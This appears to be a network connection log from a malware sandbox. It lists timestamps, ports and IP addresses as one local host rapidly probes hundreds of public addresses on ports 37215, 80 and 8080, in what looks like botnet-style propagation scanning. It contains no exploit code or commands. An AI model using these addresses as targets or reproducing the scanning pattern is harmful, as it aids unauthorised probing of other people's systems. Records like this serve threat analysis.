Feb 27, 2025 07:08:35.555696011 CET	28354	37215	192.168.2.14	197.230.155.27
Feb 27, 2025 07:08:35.555696011 CET	28354	37215	192.168.2.14	197.13.108.164
Feb 27, 2025 07:08:35.555701971 CET	28354	37215	192.168.2.14	197.42.101.30
Feb 27, 2025 07:08:35.557163000 CET	28354	37215	192.168.2.14	197.172.142.172
Feb 27, 2025 07:08:35.557163000 CET	28354	37215	192.168.2.14	197.181.167.230
Feb 27, 2025 07:08:35.557163954 CET	60616	37215	192.168.2.14	197.131.88.25
Feb 27, 2025 07:08:35.557163954 CET	60616	37215	192.168.2.14	197.131.88.25
Feb 27, 2025 07:08:35.559386969 CET	40158	80	192.168.2.14	95.83.246.242
Feb 27, 2025 07:08:35.560399055 CET	37215	28354	197.62.224.146	192.168.2.14
Feb 27, 2025 07:08:35.560447931 CET	28354	37215	192.168.2.14	197.62.224.146
Feb 27, 2025 07:08:35.562175989 CET	37215	60616	197.131.88.25	192.168.2.14
Feb 27, 2025 07:08:35.578313112 CET	56084	80	192.168.2.14	95.251.67.121
Feb 27, 2025 07:08:35.578918934 CET	56490	37215	192.168.2.14	197.122.201.4
Feb 27, 2025 07:08:35.579382896 CET	46880	8080	192.168.2.14	31.236.62.169
Feb 27, 2025 07:08:35.583457947 CET	80	56084	95.251.67.121	192.168.2.14
Feb 27, 2025 07:08:35.583528042 CET	56084	80	192.168.2.14	95.251.67.121
Feb 27, 2025 07:08:35.584029913 CET	37215	56490	197.122.201.4	192.168.2.14
Feb 27, 2025 07:08:35.584155083 CET	56490	37215	192.168.2.14	197.122.201.4
Feb 27, 2025 07:08:35.588129997 CET	48618	80	192.168.2.14	95.252.14.4
Feb 27, 2025 07:08:35.588592052 CET	48406	37215	192.168.2.14	197.62.224.146
Feb 27, 2025 07:08:35.590286970 CET	48942	8080	192.168.2.14	95.161.206.51
Feb 27, 2025 07:08:35.590616941 CET	56490	37215	192.168.2.14	197.122.201.4
Feb 27, 2025 07:08:35.590616941 CET	56490	37215	192.168.2.14	197.122.201.4
Feb 27, 2025 07:08:35.591166019 CET	46124	80	192.168.2.14	95.151.116.189
Feb 27, 2025 07:08:35.593218088 CET	80	48618	95.252.14.4	192.168.2.14
Feb 27, 2025 07:08:35.593285084 CET	48618	80	192.168.2.14	95.252.14.4
Feb 27, 2025 07:08:35.593365908 CET	42332	80	192.168.2.14	95.119.124.70
Feb 27, 2025 07:08:35.595207930 CET	54498	8080	192.168.2.14	94.231.122.101
Feb 27, 2025 07:08:35.595675945 CET	37215	56490	197.122.201.4	192.168.2.14
Feb 27, 2025 07:08:35.596800089 CET	34390	80	192.168.2.14	95.204.130.116
Feb 27, 2025 07:08:35.599577904 CET	60750	80	192.168.2.14	95.86.78.189
Feb 27, 2025 07:08:35.600461006 CET	57792	8080	192.168.2.14	94.120.136.233
Feb 27, 2025 07:08:35.601464033 CET	43166	80	192.168.2.14	95.131.111.23
Feb 27, 2025 07:08:35.601854086 CET	80	34390	95.204.130.116	192.168.2.14
Feb 27, 2025 07:08:35.601901054 CET	34390	80	192.168.2.14	95.204.130.116
Feb 27, 2025 07:08:35.603945971 CET	41524	80	192.168.2.14	95.204.123.18
Feb 27, 2025 07:08:35.606127024 CET	46522	8080	192.168.2.14	62.20.217.135
Feb 27, 2025 07:08:35.606306076 CET	37215	60616	197.131.88.25	192.168.2.14
Feb 27, 2025 07:08:35.607172966 CET	39712	80	192.168.2.14	95.166.10.145
Feb 27, 2025 07:08:35.610255003 CET	53314	80	192.168.2.14	95.245.219.98
Feb 27, 2025 07:08:35.610820055 CET	41674	37215	192.168.2.14	197.73.50.27
Feb 27, 2025 07:08:35.610826015 CET	35492	37215	192.168.2.14	197.198.185.216
Feb 27, 2025 07:08:35.610847950 CET	48220	37215	192.168.2.14	197.111.241.92
Feb 27, 2025 07:08:35.612096071 CET	47024	80	192.168.2.14	95.12.183.45
Feb 27, 2025 07:08:35.614325047 CET	37474	80	192.168.2.14	95.6.87.220
Feb 27, 2025 07:08:35.615284920 CET	80	53314	95.245.219.98	192.168.2.14
Feb 27, 2025 07:08:35.615358114 CET	53314	80	192.168.2.14	95.245.219.98
Feb 27, 2025 07:08:35.615458012 CET	60210	80	192.168.2.14	95.168.64.252
Feb 27, 2025 07:08:35.617233992 CET	60392	80	192.168.2.14	95.46.218.105
Feb 27, 2025 07:08:35.618637085 CET	55010	80	192.168.2.14	95.179.101.27
Feb 27, 2025 07:08:35.620083094 CET	52150	80	192.168.2.14	95.118.253.13
Feb 27, 2025 07:08:35.620559931 CET	80	60210	95.168.64.252	192.168.2.14
Feb 27, 2025 07:08:35.620606899 CET	60210	80	192.168.2.14	95.168.64.252
Feb 27, 2025 07:08:35.621423960 CET	40560	80	192.168.2.14	95.161.183.217
Feb 27, 2025 07:08:35.623198032 CET	36294	80	192.168.2.14	95.213.96.155
Feb 27, 2025 07:08:35.625777960 CET	41028	80	192.168.2.14	95.231.222.58
Feb 27, 2025 07:08:35.626770020 CET	45574	80	192.168.2.14	95.133.115.128
Feb 27, 2025 07:08:35.627664089 CET	52366	80	192.168.2.14	95.123.195.28
Feb 27, 2025 07:08:35.628401995 CET	41964	80	192.168.2.14	95.208.254.4
Feb 27, 2025 07:08:35.631048918 CET	54610	80	192.168.2.14	95.151.79.142
Feb 27, 2025 07:08:35.631889105 CET	47536	80	192.168.2.14	95.183.16.67
Feb 27, 2025 07:08:35.632805109 CET	80	52366	95.123.195.28	192.168.2.14
Feb 27, 2025 07:08:35.632853031 CET	52366	80	192.168.2.14	95.123.195.28
Feb 27, 2025 07:08:35.633280993 CET	39106	80	192.168.2.14	95.196.34.185
Feb 27, 2025 07:08:35.635246038 CET	57554	80	192.168.2.14	95.40.254.35
Feb 27, 2025 07:08:35.636832952 CET	49588	80	192.168.2.14	95.128.237.231
Feb 27, 2025 07:08:35.637695074 CET	38842	80	192.168.2.14	95.195.45.67
Feb 27, 2025 07:08:35.638329983 CET	37215	56490	197.122.201.4	192.168.2.14
Feb 27, 2025 07:08:35.639734983 CET	51408	80	192.168.2.14	95.179.63.135
Feb 27, 2025 07:08:35.640984058 CET	47334	80	192.168.2.14	95.175.84.69
Feb 27, 2025 07:08:35.641869068 CET	45414	80	192.168.2.14	95.129.55.172
Feb 27, 2025 07:08:35.641927958 CET	80	49588	95.128.237.231	192.168.2.14
Feb 27, 2025 07:08:35.641992092 CET	49588	80	192.168.2.14	95.128.237.231
Feb 27, 2025 07:08:35.642828941 CET	40734	37215	192.168.2.14	197.114.167.203
Feb 27, 2025 07:08:35.642839909 CET	36176	37215	192.168.2.14	197.185.165.210
Feb 27, 2025 07:08:35.642842054 CET	49502	37215	192.168.2.14	197.104.194.31
Feb 27, 2025 07:08:35.642842054 CET	44160	37215	192.168.2.14	197.0.226.251
Feb 27, 2025 07:08:35.642844915 CET	40572	37215	192.168.2.14	197.87.123.131
Feb 27, 2025 07:08:35.642846107 CET	44132	37215	192.168.2.14	197.155.7.67
Feb 27, 2025 07:08:35.642847061 CET	49278	37215	192.168.2.14	197.156.182.204
Feb 27, 2025 07:08:35.642846107 CET	49282	37215	192.168.2.14	197.233.146.207
Feb 27, 2025 07:08:35.642846107 CET	49364	37215	192.168.2.14	197.66.4.227
Feb 27, 2025 07:08:35.642848015 CET	34498	37215	192.168.2.14	197.144.83.131
Feb 27, 2025 07:08:35.642848969 CET	48854	37215	192.168.2.14	197.196.114.114
Feb 27, 2025 07:08:35.642851114 CET	53960	37215	192.168.2.14	197.183.247.234
Feb 27, 2025 07:08:35.642848969 CET	50244	37215	192.168.2.14	197.193.133.57
Feb 27, 2025 07:08:35.642848969 CET	44058	37215	192.168.2.14	197.213.37.124
Feb 27, 2025 07:08:35.642848969 CET	40332	37215	192.168.2.14	197.188.15.108
Feb 27, 2025 07:08:35.643584967 CET	35634	80	192.168.2.14	95.125.197.36
Feb 27, 2025 07:08:35.645252943 CET	33496	80	192.168.2.14	95.47.48.254
Feb 27, 2025 07:08:35.649888039 CET	41042	80	192.168.2.14	95.255.172.19
Feb 27, 2025 07:08:35.651633978 CET	54216	80	192.168.2.14	95.142.150.98
Feb 27, 2025 07:08:35.653281927 CET	41264	80	192.168.2.14	95.37.78.32
Feb 27, 2025 07:08:35.654927969 CET	57452	80	192.168.2.14	95.165.150.77
Feb 27, 2025 07:08:35.654942989 CET	80	41042	95.255.172.19	192.168.2.14
Feb 27, 2025 07:08:35.654999018 CET	41042	80	192.168.2.14	95.255.172.19
Feb 27, 2025 07:08:35.657946110 CET	43846	80	192.168.2.14	95.146.3.145
Feb 27, 2025 07:08:35.659898996 CET	55094	80	192.168.2.14	95.214.249.209
Feb 27, 2025 07:08:35.660784006 CET	42936	80	192.168.2.14	95.67.124.14
Feb 27, 2025 07:08:35.662182093 CET	56270	80	192.168.2.14	95.118.198.213
Feb 27, 2025 07:08:35.662951946 CET	80	43846	95.146.3.145	192.168.2.14
Feb 27, 2025 07:08:35.663033962 CET	43846	80	192.168.2.14	95.146.3.145
Feb 27, 2025 07:08:35.663310051 CET	48520	80	192.168.2.14	95.25.42.165
Feb 27, 2025 07:08:35.665726900 CET	41254	80	192.168.2.14	95.231.163.61
Feb 27, 2025 07:08:35.667855978 CET	56852	80	192.168.2.14	95.71.219.235
Feb 27, 2025 07:08:35.669843912 CET	41470	80	192.168.2.14	95.143.117.158
Feb 27, 2025 07:08:35.671533108 CET	51816	80	192.168.2.14	95.160.53.179
Feb 27, 2025 07:08:35.672902107 CET	80	56852	95.71.219.235	192.168.2.14
Feb 27, 2025 07:08:35.672997952 CET	56852	80	192.168.2.14	95.71.219.235
Feb 27, 2025 07:08:35.673392057 CET	41340	80	192.168.2.14	95.3.203.72
Feb 27, 2025 07:08:35.674849033 CET	43822	37215	192.168.2.14	197.111.198.8
Feb 27, 2025 07:08:35.674849033 CET	42912	37215	192.168.2.14	197.71.61.75
Feb 27, 2025 07:08:35.674849033 CET	59394	37215	192.168.2.14	197.255.17.129
Feb 27, 2025 07:08:35.674850941 CET	38882	37215	192.168.2.14	197.133.242.245
Feb 27, 2025 07:08:35.674850941 CET	46252	37215	192.168.2.14	197.111.112.210
Feb 27, 2025 07:08:35.674861908 CET	57510	37215	192.168.2.14	197.132.160.82
Feb 27, 2025 07:08:35.674861908 CET	40336	37215	192.168.2.14	197.135.196.234
Feb 27, 2025 07:08:35.674865961 CET	60598	37215	192.168.2.14	197.20.49.166
Feb 27, 2025 07:08:35.674868107 CET	59168	37215	192.168.2.14	197.71.137.102
Feb 27, 2025 07:08:35.674868107 CET	45742	37215	192.168.2.14	197.169.234.129
Feb 27, 2025 07:08:35.674865961 CET	40036	37215	192.168.2.14	197.8.223.43
Feb 27, 2025 07:08:35.674869061 CET	55322	37215	192.168.2.14	197.121.215.42
Feb 27, 2025 07:08:35.674865961 CET	41644	37215	192.168.2.14	197.247.202.137
Feb 27, 2025 07:08:35.674865961 CET	55762	37215	192.168.2.14	197.175.2.76
Feb 27, 2025 07:08:35.674880028 CET	48596	37215	192.168.2.14	197.180.59.182
Feb 27, 2025 07:08:35.674880028 CET	51120	37215	192.168.2.14	197.154.151.222
Feb 27, 2025 07:08:35.674880981 CET	56766	37215	192.168.2.14	197.240.150.89
Feb 27, 2025 07:08:35.674880981 CET	59034	37215	192.168.2.14	197.182.79.140
Feb 27, 2025 07:08:35.674880981 CET	33252	37215	192.168.2.14	197.243.151.67
Feb 27, 2025 07:08:35.674880981 CET	58980	37215	192.168.2.14	197.251.54.242
Feb 27, 2025 07:08:35.674896002 CET	46200	37215	192.168.2.14	197.35.40.175
Feb 27, 2025 07:08:35.674899101 CET	54396	37215	192.168.2.14	197.94.193.85
Feb 27, 2025 07:08:35.674899101 CET	47504	37215	192.168.2.14	197.22.1.231
Feb 27, 2025 07:08:35.675185919 CET	33386	80	192.168.2.14	95.87.175.128
Feb 27, 2025 07:08:35.676724911 CET	54774	80	192.168.2.14	95.112.194.23
Feb 27, 2025 07:08:35.678201914 CET	37882	80	192.168.2.14	95.84.24.120
Feb 27, 2025 07:08:35.681817055 CET	80	54774	95.112.194.23	192.168.2.14
Feb 27, 2025 07:08:35.681864023 CET	54774	80	192.168.2.14	95.112.194.23
Feb 27, 2025 07:08:35.682254076 CET	45142	80	192.168.2.14	95.254.18.81
Feb 27, 2025 07:08:35.684427977 CET	55348	80	192.168.2.14	95.190.239.241
Feb 27, 2025 07:08:35.686053991 CET	35210	80	192.168.2.14	95.198.26.202
Feb 27, 2025 07:08:35.706456900 CET	54794	80	192.168.2.14	95.94.28.125
Feb 27, 2025 07:08:35.706828117 CET	51120	37215	192.168.2.14	197.234.59.88
Feb 27, 2025 07:08:35.706852913 CET	34206	37215	192.168.2.14	197.79.152.119
Feb 27, 2025 07:08:35.706856012 CET	58272	37215	192.168.2.14	197.171.161.89
Feb 27, 2025 07:08:35.706852913 CET	35210	37215	192.168.2.14	197.25.106.16
Feb 27, 2025 07:08:35.706854105 CET	49884	37215	192.168.2.14	197.177.199.246
Feb 27, 2025 07:08:35.706854105 CET	50058	37215	192.168.2.14	197.143.63.188
Feb 27, 2025 07:08:35.706854105 CET	45474	37215	192.168.2.14	197.0.59.184
Feb 27, 2025 07:08:35.706862926 CET	53042	37215	192.168.2.14	197.27.193.249
Feb 27, 2025 07:08:35.706862926 CET	53514	37215	192.168.2.14	197.99.235.121
Feb 27, 2025 07:08:35.706862926 CET	55304	37215	192.168.2.14	197.55.168.239
Feb 27, 2025 07:08:35.706866026 CET	36864	37215	192.168.2.14	197.143.78.49
Feb 27, 2025 07:08:35.706866026 CET	47002	37215	192.168.2.14	197.1.223.53
Feb 27, 2025 07:08:35.706866026 CET	34382	37215	192.168.2.14	197.208.163.89
Feb 27, 2025 07:08:35.706866026 CET	46152	37215	192.168.2.14	197.123.184.37
Feb 27, 2025 07:08:35.706878901 CET	33762	37215	192.168.2.14	197.9.163.194
Feb 27, 2025 07:08:35.706878901 CET	33500	37215	192.168.2.14	197.43.149.191
Feb 27, 2025 07:08:35.706878901 CET	55778	37215	192.168.2.14	197.196.191.228
Feb 27, 2025 07:08:35.706888914 CET	43584	37215	192.168.2.14	197.81.122.47
Feb 27, 2025 07:08:35.706898928 CET	48510	37215	192.168.2.14	197.209.105.119
Feb 27, 2025 07:08:35.706899881 CET	49946	37215	192.168.2.14	197.23.162.18
Feb 27, 2025 07:08:35.706899881 CET	51698	37215	192.168.2.14	197.112.195.73
Feb 27, 2025 07:08:35.706903934 CET	50568	37215	192.168.2.14	197.201.172.214
Feb 27, 2025 07:08:35.706903934 CET	34192	37215	192.168.2.14	197.175.62.249
Feb 27, 2025 07:08:35.706903934 CET	57556	37215	192.168.2.14	197.151.244.255
Feb 27, 2025 07:08:35.706909895 CET	54250	37215	192.168.2.14	197.20.52.21
Feb 27, 2025 07:08:35.706914902 CET	49926	37215	192.168.2.14	197.233.12.90
Feb 27, 2025 07:08:35.706918001 CET	54442	37215	192.168.2.14	197.158.163.249
Feb 27, 2025 07:08:35.706934929 CET	58010	37215	192.168.2.14	197.174.124.163
Feb 27, 2025 07:08:35.706938028 CET	42446	37215	192.168.2.14	197.3.230.4
Feb 27, 2025 07:08:35.708937883 CET	42324	80	192.168.2.14	95.109.117.173
Feb 27, 2025 07:08:35.710170984 CET	39226	80	192.168.2.14	95.192.75.168
Feb 27, 2025 07:08:35.711719036 CET	80	54794	95.94.28.125	192.168.2.14
Feb 27, 2025 07:08:35.711782932 CET	54794	80	192.168.2.14	95.94.28.125
Feb 27, 2025 07:08:35.711899042 CET	37215	51120	197.234.59.88	192.168.2.14
Feb 27, 2025 07:08:35.711956978 CET	51120	37215	192.168.2.14	197.234.59.88
Feb 27, 2025 07:08:35.711976051 CET	33774	80	192.168.2.14	95.164.65.25
Feb 27, 2025 07:08:35.712493896 CET	51120	37215	192.168.2.14	197.234.59.88
Feb 27, 2025 07:08:35.712532997 CET	51120	37215	192.168.2.14	197.234.59.88
Feb 27, 2025 07:08:35.713999987 CET	80	42324	95.109.117.173	192.168.2.14
Feb 27, 2025 07:08:35.714046001 CET	42324	80	192.168.2.14	95.109.117.173
Feb 27, 2025 07:08:35.714214087 CET	40714	80	192.168.2.14	95.25.21.18
Feb 27, 2025 07:08:35.714926958 CET	38360	80	192.168.2.14	95.61.179.73
Feb 27, 2025 07:08:35.715573072 CET	55700	80	192.168.2.14	95.0.26.231
Feb 27, 2025 07:08:35.716275930 CET	60482	80	192.168.2.14	95.145.159.193
Feb 27, 2025 07:08:35.717051983 CET	46536	80	192.168.2.14	95.31.113.147
Feb 27, 2025 07:08:35.717531919 CET	37215	51120	197.234.59.88	192.168.2.14
Feb 27, 2025 07:08:35.717781067 CET	33770	80	192.168.2.14	95.39.237.105
Feb 27, 2025 07:08:35.718439102 CET	47434	80	192.168.2.14	95.62.119.132
Feb 27, 2025 07:08:35.719495058 CET	55788	80	192.168.2.14	95.12.127.45
Feb 27, 2025 07:08:35.720225096 CET	58530	80	192.168.2.14	95.87.215.15
Feb 27, 2025 07:08:35.720665932 CET	80	55700	95.0.26.231	192.168.2.14
Feb 27, 2025 07:08:35.720705032 CET	55700	80	192.168.2.14	95.0.26.231
Feb 27, 2025 07:08:35.721112967 CET	41078	80	192.168.2.14	95.102.222.187
Feb 27, 2025 07:08:35.721956015 CET	34070	80	192.168.2.14	95.120.15.54
Feb 27, 2025 07:08:35.722590923 CET	53888	80	192.168.2.14	95.169.99.15
Feb 27, 2025 07:08:35.723253012 CET	47240	80	192.168.2.14	95.159.81.190
Feb 27, 2025 07:08:35.724021912 CET	44154	80	192.168.2.14	95.75.224.20
Feb 27, 2025 07:08:35.724668026 CET	44346	80	192.168.2.14	95.115.34.133
Feb 27, 2025 07:08:35.725339890 CET	40068	80	192.168.2.14	95.184.145.184
Feb 27, 2025 07:08:35.726078033 CET	36226	80	192.168.2.14	95.212.6.85
Feb 27, 2025 07:08:35.726752996 CET	57806	80	192.168.2.14	95.71.140.213
Feb 27, 2025 07:08:35.727448940 CET	35448	80	192.168.2.14	95.127.255.243
Feb 27, 2025 07:08:35.728230000 CET	48776	80	192.168.2.14	95.124.197.40
Feb 27, 2025 07:08:35.728920937 CET	36358	80	192.168.2.14	95.204.107.177
Feb 27, 2025 07:08:35.729618073 CET	49106	80	192.168.2.14	95.110.138.86
Feb 27, 2025 07:08:35.732525110 CET	80	35448	95.127.255.243	192.168.2.14
Feb 27, 2025 07:08:35.732573986 CET	35448	80	192.168.2.14	95.127.255.243
Feb 27, 2025 07:08:35.735373974 CET	38220	80	192.168.2.14	95.239.37.216
Feb 27, 2025 07:08:35.738857985 CET	33752	80	192.168.2.14	95.122.24.176
Feb 27, 2025 07:08:35.739573956 CET	32934	80	192.168.2.14	95.41.36.4
Feb 27, 2025 07:08:35.740425110 CET	80	38220	95.239.37.216	192.168.2.14
Feb 27, 2025 07:08:35.740483999 CET	38220	80	192.168.2.14	95.239.37.216
Feb 27, 2025 07:08:35.743377924 CET	38598	80	192.168.2.14	95.89.83.65
Feb 27, 2025 07:08:35.749298096 CET	37402	80	192.168.2.14	95.210.181.204
Feb 27, 2025 07:08:35.750165939 CET	57246	80	192.168.2.14	95.51.44.145
Feb 27, 2025 07:08:35.750902891 CET	46362	80	192.168.2.14	95.24.10.210
Feb 27, 2025 07:08:35.751679897 CET	51072	80	192.168.2.14	95.144.126.109
Feb 27, 2025 07:08:35.752389908 CET	50962	80	192.168.2.14	95.23.97.153
Feb 27, 2025 07:08:35.753113031 CET	35618	80	192.168.2.14	95.94.39.123
Feb 27, 2025 07:08:35.753817081 CET	55532	80	192.168.2.14	95.128.176.75
Feb 27, 2025 07:08:35.754443884 CET	80	37402	95.210.181.204	192.168.2.14
Feb 27, 2025 07:08:35.754606962 CET	37402	80	192.168.2.14	95.210.181.204
Feb 27, 2025 07:08:35.754734039 CET	39148	80	192.168.2.14	95.161.135.58
Feb 27, 2025 07:08:35.755565882 CET	50474	80	192.168.2.14	95.107.74.132
Feb 27, 2025 07:08:35.756304979 CET	56116	80	192.168.2.14	95.117.245.100
Feb 27, 2025 07:08:35.757154942 CET	45648	80	192.168.2.14	95.253.227.50
Feb 27, 2025 07:08:35.757910967 CET	39224	80	192.168.2.14	95.93.240.149
Feb 27, 2025 07:08:35.758337021 CET	37215	51120	197.234.59.88	192.168.2.14
Feb 27, 2025 07:08:35.758668900 CET	48486	80	192.168.2.14	95.137.232.89
Feb 27, 2025 07:08:35.759434938 CET	35860	80	192.168.2.14	95.143.168.84
Feb 27, 2025 07:08:35.760090113 CET	46002	80	192.168.2.14	95.2.118.19
Feb 27, 2025 07:08:35.760632038 CET	80	50474	95.107.74.132	192.168.2.14
Feb 27, 2025 07:08:35.760771036 CET	56084	80	192.168.2.14	95.251.67.121
Feb 27, 2025 07:08:35.760816097 CET	56084	80	192.168.2.14	95.251.67.121
Feb 27, 2025 07:08:35.760833979 CET	50474	80	192.168.2.14	95.107.74.132
Feb 27, 2025 07:08:35.761146069 CET	56292	80	192.168.2.14	95.251.67.121
Feb 27, 2025 07:08:35.761578083 CET	48618	80	192.168.2.14	95.252.14.4
Feb 27, 2025 07:08:35.761578083 CET	48618	80	192.168.2.14	95.252.14.4
Feb 27, 2025 07:08:35.761908054 CET	48824	80	192.168.2.14	95.252.14.4
Feb 27, 2025 07:08:35.762224913 CET	34390	80	192.168.2.14	95.204.130.116
Feb 27, 2025 07:08:35.762224913 CET	34390	80	192.168.2.14	95.204.130.116
Feb 27, 2025 07:08:35.762597084 CET	34586	80	192.168.2.14	95.204.130.116
Feb 27, 2025 07:08:35.762944937 CET	53314	80	192.168.2.14	95.245.219.98
Feb 27, 2025 07:08:35.762944937 CET	53314	80	192.168.2.14	95.245.219.98
Feb 27, 2025 07:08:35.763221025 CET	53498	80	192.168.2.14	95.245.219.98
Feb 27, 2025 07:08:35.763597965 CET	60210	80	192.168.2.14	95.168.64.252
Feb 27, 2025 07:08:35.763597965 CET	60210	80	192.168.2.14	95.168.64.252
Feb 27, 2025 07:08:35.763889074 CET	60390	80	192.168.2.14	95.168.64.252
Feb 27, 2025 07:08:35.764251947 CET	52366	80	192.168.2.14	95.123.195.28
Feb 27, 2025 07:08:35.764251947 CET	52366	80	192.168.2.14	95.123.195.28
Feb 27, 2025 07:08:35.765229940 CET	52532	80	192.168.2.14	95.123.195.28
Feb 27, 2025 07:08:35.765573978 CET	49588	80	192.168.2.14	95.128.237.231
Feb 27, 2025 07:08:35.765573978 CET	49588	80	192.168.2.14	95.128.237.231
Feb 27, 2025 07:08:35.765825033 CET	80	56084	95.251.67.121	192.168.2.14
Feb 27, 2025 07:08:35.765957117 CET	49744	80	192.168.2.14	95.128.237.231
Feb 27, 2025 07:08:35.766408920 CET	41042	80	192.168.2.14	95.255.172.19
Feb 27, 2025 07:08:35.766408920 CET	41042	80	192.168.2.14	95.255.172.19
Feb 27, 2025 07:08:35.766587973 CET	80	48618	95.252.14.4	192.168.2.14
Feb 27, 2025 07:08:35.766796112 CET	41186	80	192.168.2.14	95.255.172.19
Feb 27, 2025 07:08:35.767270088 CET	80	34390	95.204.130.116	192.168.2.14
Feb 27, 2025 07:08:35.767328978 CET	43846	80	192.168.2.14	95.146.3.145
Feb 27, 2025 07:08:35.767328978 CET	43846	80	192.168.2.14	95.146.3.145
Feb 27, 2025 07:08:35.767587900 CET	43984	80	192.168.2.14	95.146.3.145
Feb 27, 2025 07:08:35.768039942 CET	80	53314	95.245.219.98	192.168.2.14
Feb 27, 2025 07:08:35.768232107 CET	56852	80	192.168.2.14	95.71.219.235
Feb 27, 2025 07:08:35.768232107 CET	56852	80	192.168.2.14	95.71.219.235
Feb 27, 2025 07:08:35.768548965 CET	56980	80	192.168.2.14	95.71.219.235
Feb 27, 2025 07:08:35.768656969 CET	80	60210	95.168.64.252	192.168.2.14
Feb 27, 2025 07:08:35.769093990 CET	54774	80	192.168.2.14	95.112.194.23
Feb 27, 2025 07:08:35.769093990 CET	54774	80	192.168.2.14	95.112.194.23
Feb 27, 2025 07:08:35.769424915 CET	80	52366	95.123.195.28	192.168.2.14
Feb 27, 2025 07:08:35.769450903 CET	54894	80	192.168.2.14	95.112.194.23
Feb 27, 2025 07:08:35.769926071 CET	54794	80	192.168.2.14	95.94.28.125
Feb 27, 2025 07:08:35.769926071 CET	54794	80	192.168.2.14	95.94.28.125
Feb 27, 2025 07:08:35.770268917 CET	54906	80	192.168.2.14	95.94.28.125
Feb 27, 2025 07:08:35.770551920 CET	80	49588	95.128.237.231	192.168.2.14
Feb 27, 2025 07:08:35.770771027 CET	42324	80	192.168.2.14	95.109.117.173
Feb 27, 2025 07:08:35.770771027 CET	42324	80	192.168.2.14	95.109.117.173
Feb 27, 2025 07:08:35.771085024 CET	42436	80	192.168.2.14	95.109.117.173
Feb 27, 2025 07:08:35.771401882 CET	55700	80	192.168.2.14	95.0.26.231
Feb 27, 2025 07:08:35.771401882 CET	55700	80	192.168.2.14	95.0.26.231
Feb 27, 2025 07:08:35.771511078 CET	80	41042	95.255.172.19	192.168.2.14
Feb 27, 2025 07:08:35.771735907 CET	55804	80	192.168.2.14	95.0.26.231
Feb 27, 2025 07:08:35.772299051 CET	35448	80	192.168.2.14	95.127.255.243
Feb 27, 2025 07:08:35.772299051 CET	35448	80	192.168.2.14	95.127.255.243
Feb 27, 2025 07:08:35.772326946 CET	80	43846	95.146.3.145	192.168.2.14
Feb 27, 2025 07:08:35.772545099 CET	35522	80	192.168.2.14	95.127.255.243
Feb 27, 2025 07:08:35.772672892 CET	80	43984	95.146.3.145	192.168.2.14
Feb 27, 2025 07:08:35.772712946 CET	43984	80	192.168.2.14	95.146.3.145
Feb 27, 2025 07:08:35.772886038 CET	38220	80	192.168.2.14	95.239.37.216
Feb 27, 2025 07:08:35.772886038 CET	38220	80	192.168.2.14	95.239.37.216
Feb 27, 2025 07:08:35.773201942 CET	38288	80	192.168.2.14	95.239.37.216
Feb 27, 2025 07:08:35.773314953 CET	80	56852	95.71.219.235	192.168.2.14
Feb 27, 2025 07:08:35.773854971 CET	37402	80	192.168.2.14	95.210.181.204
Feb 27, 2025 07:08:35.773854971 CET	37402	80	192.168.2.14	95.210.181.204
Feb 27, 2025 07:08:35.774157047 CET	37464	80	192.168.2.14	95.210.181.204
Feb 27, 2025 07:08:35.774172068 CET	80	54774	95.112.194.23	192.168.2.14
Feb 27, 2025 07:08:35.774626017 CET	43984	80	192.168.2.14	95.146.3.145
Feb 27, 2025 07:08:35.774682999 CET	50474	80	192.168.2.14	95.107.74.132
Feb 27, 2025 07:08:35.774683952 CET	50474	80	192.168.2.14	95.107.74.132
Feb 27, 2025 07:08:35.774926901 CET	50522	80	192.168.2.14	95.107.74.132
Feb 27, 2025 07:08:35.775017977 CET	80	54794	95.94.28.125	192.168.2.14
Feb 27, 2025 07:08:35.775918007 CET	80	42324	95.109.117.173	192.168.2.14
Feb 27, 2025 07:08:35.776448965 CET	80	55700	95.0.26.231	192.168.2.14
Feb 27, 2025 07:08:35.777380943 CET	80	35448	95.127.255.243	192.168.2.14
Feb 27, 2025 07:08:35.777887106 CET	80	38220	95.239.37.216	192.168.2.14
Feb 27, 2025 07:08:35.778870106 CET	80	37402	95.210.181.204	192.168.2.14
Feb 27, 2025 07:08:35.779711008 CET	80	50474	95.107.74.132	192.168.2.14
Feb 27, 2025 07:08:35.779726982 CET	80	43984	95.146.3.145	192.168.2.14
Feb 27, 2025 07:08:35.779762030 CET	43984	80	192.168.2.14	95.146.3.145
Feb 27, 2025 07:08:35.806514025 CET	80	56084	95.251.67.121	192.168.2.14
Feb 27, 2025 07:08:35.810435057 CET	80	52366	95.123.195.28	192.168.2.14
Feb 27, 2025 07:08:35.810465097 CET	80	60210	95.168.64.252	192.168.2.14
Feb 27, 2025 07:08:35.810492992 CET	80	53314	95.245.219.98	192.168.2.14
Feb 27, 2025 07:08:35.810520887 CET	80	34390	95.204.130.116	192.168.2.14
Feb 27, 2025 07:08:35.810547113 CET	80	48618	95.252.14.4	192.168.2.14
Feb 27, 2025 07:08:35.814538956 CET	80	54774	95.112.194.23	192.168.2.14
Feb 27, 2025 07:08:35.814568996 CET	80	43846	95.146.3.145	192.168.2.14
Feb 27, 2025 07:08:35.814596891 CET	80	41042	95.255.172.19	192.168.2.14
Feb 27, 2025 07:08:35.814624071 CET	80	49588	95.128.237.231	192.168.2.14
Feb 27, 2025 07:08:35.814651966 CET	80	56852	95.71.219.235	192.168.2.14
Feb 27, 2025 07:08:35.818401098 CET	80	38220	95.239.37.216	192.168.2.14
Feb 27, 2025 07:08:35.818428993 CET	80	35448	95.127.255.243	192.168.2.14
Feb 27, 2025 07:08:35.822364092 CET	80	50474	95.107.74.132	192.168.2.14
Feb 27, 2025 07:08:35.822371960 CET	80	37402	95.210.181.204	192.168.2.14
Feb 27, 2025 07:08:35.822381020 CET	80	55700	95.0.26.231	192.168.2.14
Feb 27, 2025 07:08:35.822387934 CET	80	42324	95.109.117.173	192.168.2.14
Feb 27, 2025 07:08:35.822396994 CET	80	54794	95.94.28.125	192.168.2.14
Feb 27, 2025 07:08:36.054591894 CET	80	56084	95.251.67.121	192.168.2.14
Feb 27, 2025 07:08:36.054987907 CET	56084	80	192.168.2.14	95.251.67.121
Feb 27, 2025 07:08:36.538917065 CET	60836	80	192.168.2.14	95.206.172.103
Feb 27, 2025 07:08:36.538928986 CET	42464	80	192.168.2.14	95.141.78.110
Feb 27, 2025 07:08:36.538928986 CET	47362	80	192.168.2.14	95.131.34.169
Feb 27, 2025 07:08:36.538959980 CET	50780	80	192.168.2.14	95.215.18.102
Feb 27, 2025 07:08:36.539046049 CET	41998	80	192.168.2.14	95.45.52.12
Feb 27, 2025 07:08:36.539063931 CET	48178	80	192.168.2.14	95.73.228.68
